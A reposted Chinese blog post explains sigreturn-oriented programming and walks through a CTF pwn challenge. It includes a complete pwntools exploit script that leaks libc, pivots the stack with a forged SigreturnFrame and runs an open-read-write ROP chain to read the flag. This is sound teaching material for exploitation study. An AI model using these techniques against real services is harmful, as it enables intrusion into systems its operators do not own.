1

SROP

 2 years ago
source link: https://kiprey.github.io/2020/05/SROP/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Kiprey's Blog
2020-05-15

字数统计: 1.1k

  |   阅读时长≈ 5 分钟

前面虽然做过一道关于SROP的题,但并没有具体总结。这次就来总结一下

  • SROP的原理? (下文摘自CTF wiki)

    • 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态。
    • 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址。我们称ucontext以及siginfo这一段为Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的signal handler中处理相应的signal。因此,当signal handler执行完之后,就会执行sigreturn代码。
    • signal handler返回后,内核为执行sigreturn系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新pop回对应的寄存器,最后恢复进程的执行。其中,32位的sigreturn的调用号为77,64位的系统调用号为15。
  • Signal Frame的构建是比较复杂的,因为不同架构下的结构是不一样的。不过值得一提的是,在目前的pwntools中已经集成了对于SROP的攻击。所以我们可以很方便的构建出Signal Frame。

注: 在本文中,Signal Frame和SigreturnFrame是同一个意思

  • 注意点:
    1. 构建SigreturnFrame时,必须设置rsp和rip,否则就直接SIGSEV
    2. 构建SigreturnFrame时,必须确保 syscall SYS_sigreturn时,其rsp指向sigreturnFrame的首地址
    3. 如果输入SigreturnFrame后,程序 call SYS_sigreturn,则传入的SigreturnFrame 最好从第八个字节开始传入 (str(frame)[8:]),而不是目的寄存器向前偏移一个位置(不是很懂?请阅读下面的例题 :-))

2. 例子 —— vn_pwn_babybabypwn_1

  • ELF文件保护全开, 但题目给出了libc
  • 程序使用了seccomp函数,只能ORW
  • 输入数据后程序会call sys_sigreturn(注意是call)
    img
  • 我们可以构建SigreturnFrame,将栈迁移到libc的bss段,然后一路ROP从而get flag.
  • 由于程序是 call sys_sigreturn ,所以当即将执行sys_sigreturn时,其rsp指向的是 &SigreturnFrame + 8(call指令会将old rip压栈)。 所以在传入SigreturnFrame时,必须从第8个字节开始,否则会SIGSEV,即

    frame = SigreturnFrame()
    frame.rax = constants.SYS_read
    frame.rdi = 0
    frame.rsi = new_stack
    frame.rdx = 0x180
    frame.rsp = new_stack
    frame.rip = libc.symbols['syscall'] + 23
    # 注意下一行
    sla("Please input magic message: ", flat(frame)[8:])
  • 偏移8个字节可能大家都知道,但可能有部分小伙伴是这么做的

    ''' 注:以下64位SigreturnFrame结构,来自pwntools库中的SROP.py
    # Reference : https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf
    'amd64': {0: 'uc_flags', 8: '&uc', 16: 'uc_stack.ss_sp', 24: 'uc_stack.ss_flags',
    32: 'uc_stack.ss_size', 40: 'r8', 48: 'r9', 56: 'r10', 64: 'r11', 72: 'r12',
    80: 'r13', 88: 'r14', 96: 'r15', 104: 'rdi', 112: 'rsi', 120: 'rbp', 128: 'rbx',
    136: 'rdx', 144: 'rax', 152: 'rcx', 160: 'rsp', 168: 'rip', 176: 'eflags',
    184: 'csgsfs', 192: 'err', 200: 'trapno', 208: 'oldmask', 216: 'cr2',
    224: '&fpstate', 232: '__reserved', 240: 'sigmask'},
    '''
    frame = SigreturnFrame()
    frame.rdx = constants.SYS_read # rax
    frame.r15 = 0 # rdi
    frame.rdi = new_stack # rsi
    frame.rbx = 0x180 # rdx
    frame.rcx = new_stack # rsp
    frame.rsp = libc.symbols['syscall'] + 23 # rip
    # 注意下一行
    sla("Please input magic message: ", flat(frame))

    他们将每个寄存器的值都向上偏移8个字节,从而使rax、rdi等寄存器中刚好存入我们期望的值
    但动态调试时,执行函数(例如read),或者syscall,总会引发SIGSEV,这是为什么?

    • 原因是因为SigreturnFrame中的某个至关重要的寄存器值 —— cs/gs/fs —— 没有一起偏移过去
    • 只要再设置一条frame.eflags = 51 # cs,程序就可以正常工作了
    • 但即便如此,这种方法仍然比第一种方法麻烦,不推荐使用
# -*- coding: utf-8 -*-
import sys
from pwn import *

ELFname = "./vn_pwn_babybabypwn_1"

if len(sys.argv) > 1:
io = remote("node3.buuoj.cn", sys.argv[1])
else:
io = process(ELFname)

libc = ELF("./buu_libcs/ubuntu16-64-libc-2.23.so")
e = ELF(ELFname)

sla = lambda msg, content : io.sendlineafter(msg, content)
sl = lambda content : io.sendline(content)
ru = lambda msg : io.recvuntil(msg)

def debug(msg = ""):
if len(sys.argv) == 1:
gdb.attach(io, msg)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

ru("Here is my gift: ")
msg = ru("\n")[:-1]
libc_puts = int(msg, 16)
libc.address = libc_puts - libc.symbols['puts']
new_stack = libc.bss(0x60)
log.success("libc base addr: " + hex(libc.address))
log.success("new_stack addr: " + hex(new_stack))

# 方法一
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = new_stack
frame.rdx = 0x180
frame.rsp = new_stack
frame.rip = libc.symbols['syscall'] + 23
sla("Please input magic message: ", flat(frame)[8:])

# 方法二(不推荐
'''
frame = SigreturnFrame()
frame.rdx = constants.SYS_read # rax
frame.r15 = 0 # rdi
frame.rdi = new_stack # rsi
frame.rbx = 0x180 # rdx
frame.rcx = new_stack # rsp
frame.rsp = libc.symbols['syscall'] + 23 # rip
frame.eflags = 51 # cs/gs/fs
# 注意下一行
#debug("b syscall\nc")
sla("Please input magic message: ", flat(frame))
'''

rop = ROP(libc, base=new_stack)
rop.open('flag\x00', 0)
rop.read(3, libc.bss(), 0x60)
rop.write(1, libc.bss(), 0x60)
log.info(rop.dump())

# debug("b syscall\nc")
sl(rop.chain())

io.interactive()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK